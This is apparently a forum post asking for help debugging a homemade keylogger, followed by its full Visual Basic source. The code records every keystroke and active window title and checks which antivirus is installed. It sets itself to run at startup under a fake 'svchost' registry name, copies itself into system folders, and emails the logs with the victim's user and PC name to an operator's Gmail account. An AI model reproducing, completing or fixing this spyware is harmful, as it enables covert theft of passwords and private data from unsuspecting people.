Dear,
All Viewers I am facing some issue during making keylogger I put all code here, please help me to solve out this problem...
Here is Code:
Public Declare Function IsNTAdmin Lib "advpack" (ByVal dwReserved As Long, ByRef lpdwReserved As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function lOpen Lib "kernel32" Alias "_lopen" (ByVal lpPathName As String, ByVal iReadWrite As Long) As Long
Private Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
Private Declare Function GetAsyncKeysync Lib "user32" (ByVal vkey As Integer) As Integer
Public appexe As String
Public roross, rorosss, atach, roros, windirpath, appdirpath, str As String
Public countss, tesss As Integer
Public lpFSHigh As Long
Const OF_READ = &H0&
Function getdumpkey()
On Error Resume Next
Dim lngShift As Long
lngShift = GetAsyncKeyState(vbKeyShift)
For poiints = 1 To 255
reresu = 0
reresu = GetAsyncKeyState(poiints)
If reresu = -32767 Then
If poiints >= 48 And poiints <= 57 Then
Dim shifti As String
Select Case poiints
Case 49
If lngShift = 0 Then shifti = "1"
If lngShift <> 0 Then shifti = "!"
Case 50
If lngShift = 0 Then shifti = "2"
If lngShift <> 0 Then shifti = "@"
Case 51
If lngShift = 0 Then shifti = "3"
If lngShift <> 0 Then shifti = "#"
Case 52
If lngShift = 0 Then shifti = "4"
If lngShift <> 0 Then shifti = "$"
Case 53
If lngShift = 0 Then shifti = "5"
If lngShift <> 0 Then shifti = "%"
Case 54
If lngShift = 0 Then shifti = "6"
If lngShift <> 0 Then shifti = "^"
Case 55
If lngShift = 0 Then shifti = "7"
If lngShift <> 0 Then shifti = "&"
Case 56
If lngShift = 0 Then shifti = "8"
If lngShift <> 0 Then shifti = "*"
Case 57
If lngShift = 0 Then shifti = "9"
If lngShift <> 0 Then shifti = "("
Case 48
If lngShift = 0 Then shifti = "0"
If lngShift <> 0 Then shifti = ")"
End Select
Form1.TextBox2.Text = Form1.TextBox2.Text + shifti
End If
If poiints >= 65 And poiints <= 97 Then
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & Chr(poiints + 32)
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & UCase(Chr(poiints))
End If
Select Case poiints
Case 13
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Enter]"
Case 96
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Numpad 0]"
Case 97
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Numpad 1]"
Case 98
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Numpad 2]"
Case 99
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Numpad 3]"
Case 100
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Numpad 4]"
Case 101
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Numpad 5]"
Case 102
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Numpad 6]"
Case 103
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Numpad 7]"
Case 104
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Numpad 8]"
Case 105
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Numpad 9]"
Case 106
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Multiply]"
Case 107
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Add]"
Case 32
Form1.TextBox2.Text = Form1.TextBox2.Text & " "
Case 46
Form1.TextBox2.Text = Form1.TextBox2.Text & "[DELETE]"
Case 8
Form1.TextBox2.Text = Form1.TextBox2.Text & "[backspace]"
Case 17
Form1.TextBox2.Text = Form1.TextBox2.Text & "[ctrl]"
Case 164
Form1.TextBox2.Text = Form1.TextBox2.Text & "[l-alt]"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & vbCrLf & "language changed" & vbCrLf
Case 165
Form1.TextBox2.Text = Form1.TextBox2.Text & "[r-alt]"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & vbCrLf & "language changed" & vbCrLf
Case 20
Form1.TextBox2.Text = Form1.TextBox2.Text & "[cops lock]"
Case 27
Form1.TextBox2.Text = Form1.TextBox2.Text & "[esc]"
Case 33
Form1.TextBox2.Text = Form1.TextBox2.Text & "[pageup]"
Case 34
Form1.TextBox2.Text = Form1.TextBox2.Text & "[pagedown]"
Case 35
Form1.TextBox2.Text = Form1.TextBox2.Text & "[end]"
Case 36
Form1.TextBox2.Text = Form1.TextBox2.Text & "[home]"
Case 37
Form1.TextBox2.Text = Form1.TextBox2.Text & "[lift]"
Case 38
Form1.TextBox2.Text = Form1.TextBox2.Text & "[up]"
Case 39
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Right]"
Case 40
Form1.TextBox2.Text = Form1.TextBox2.Text & "[Down]"
Case 38
Form1.TextBox2.Text = Form1.TextBox2.Text & "[up]"
Case 186
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & ";"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & ":"
Case 187
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "="
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "+"
Case 189
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "-"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "_"
Case 191
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "/"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "?"
Case 192
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "`"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "~"
Case 189
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "-"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "_"
Case 220
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "\"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "|"
Case 221
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "]"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "}"
Case 219
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "["
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "{"
Case 222
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "'"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & """"
Case 188
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & ","
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "<"
Case 190
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "."
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & ">"
Case 191
If lngShift = 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "\"
If lngShift <> 0 Then Form1.TextBox2.Text = Form1.TextBox2.Text & "|"
Case 112
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f1]"
Case 113
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f2]"
Case 114
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f3]"
Case 115
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f4]"
Case 116
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f5]"
Case 117
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f6]"
Case 118
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f7]"
Case 119
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f8]"
Case 120
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f9]"
Case 122
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f11]"
Case 123
Form1.TextBox2.Text = Form1.TextBox2.Text & "[f12]"
Case 9
Form1.TextBox2.Text = Form1.TextBox2.Text & "[tab]"
End Select
End If
Next poiints
Static lHwnd As Long
Dim lCurHwnd As Long
Dim sText As String * 255
lCurHwnd = GetForegroundWindow
If lCurHwnd = lHwnd Then Exit Function
lHwnd = lCurHwnd
If lHwnd <> hwnd Then
Form1.TextBox2.Text = Form1.TextBox2.Text & vbCrLf & " ----- " & Left$(sText, GetWindowText(lHwnd, ByVal sText, 255)) & " ----- " & Date & " -- " & Time & " ---" & vbCrLf
End If
End Function
Public Function getosvertion() As String
On Error Resume Next
Dim var55 As String ''
Dim objOS As Object
For Each objOS In GetObject( _
"winmgmts:").InstancesOf("Win32_OperatingSystem")
var55 = objOS.Caption
Next
getosvertion = var55
End Function
Public Function antivarver() As String
On Error Resume Next
Set objWMIService = GetObject("winmgmts:\\.\root\SecurityCenter")
Dim temprary As String
Set colmanitems = objWMIService.ExecQuery("Select * from AntiVirusProduct", , 48)
For Each objItem In colmanitems
If GetVersion = True Then temprary = objItem.CompanyName & " " & objItem.DisplayName & " (Version " & objItem.versionnumber & ")"
If GetVersion = False Then temprary = objItem.CompanyName & objItem.DisplayName
Next
antivarver = endt & temprary
End Function
Public Function jjifhfhjdksjdhujddekjuek()
On Error Resume Next
Dim addmetoreg As Object
Set addmetoreg = CreateObject("WScript.Shell")
If IsNTAdmin(0, 0) = 1 Then
appexe = windirpath & "\" & App.EXEName & ".exe"
addmetoreg.RegWrite "HKLM\Software\Microsoft\windows\CurrentVersion\Run\svchost", appexe
Else
appexe = appdirpath & "\" & App.EXEName & ".exe"
addmetoreg.RegWrite "HKCU\Software\Microsoft\windows\CurrentVersion\Run\svchost", appexe
End If
End Function
Public Function makemein()
On Error Resume Next
Dim appexe As String
Dim appexe1 As String
If IsNTAdmin(0, 0) Then
appexe = windirpath & "\" & App.EXEName & ".exe"
a = margooo(gettheoath, appexe1)
Else
appexe1 = appdirpath & "\" & App.EXEName & ".exe"
a = margooo(gettheoath, appexe)
End If
End Function
Function margooo(src As String, dest As String, Optional FailIfDestExists As Boolean)
On Error Resume Next
Dim oraclesorse
Const OverwriteExisting = True
Set oraclesorse = CreateObject("Scripting.FileSystemObject")
oraclesorse.CopyFile src, dest, OverwriteExisting
End Function
Public Function Checksize()
On Error Resume Next
'-------------------------------
Dim Pointer As Long, sizeofthefile As Long
Pointer = lOpen(atach, OF_READ)
sizeofthefile = GetFileSize(Pointer, lpFSHigh)
'-------------------------------
If sizeofthefile > 10000000 Then
If IsNTAdmin(0, 0) Then
atach = windirpath & "\wmaspids" & countss + 1 & ".log"
Else
atach = appdirpath & "\wmaspids" & countss + 1 & ".log"
End If
End If
''-------------------------------
End Function
Public Function savefile()
On Error Resume Next
Dim hFile As Long
Dim sFilename As String
sFilename = atach
hFile = FreeFile
Open sFilename For Append As #hFile
Print #hFile, Form1.TextBox2.Text
Close #hFile
Form1.TextBox2 = ""
End Function
Public Function sendiftome()
On Error Resume Next
Dim iMsg As Object
Dim iConf As Object
Dim Flds As Variant
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
iConf.Load -1
Set Flds = iConf.Fields
With Flds
.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "YOUR-Email"
.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = YOUR-Pass
.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.google.com"
.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
.Update
End With
strbody = "Your Sample message "
If tesss = 30 Then
With iMsg
Set .Configuration = iConf
.To = "YOUR-Email@gmail.com"
.CC = ""
.BCC = ""
.From = "YOUR-Email@gmail.com"
.Subject = "USER NAME: " & Environ("USERNAME") & " >>> PC NAME: " & Environ("COMPUTERNAME")
.TextBody = str
.AddAttachment atach
.send
End With
tesss = 1
Else
tesss = tesss + 1
End If
End Function
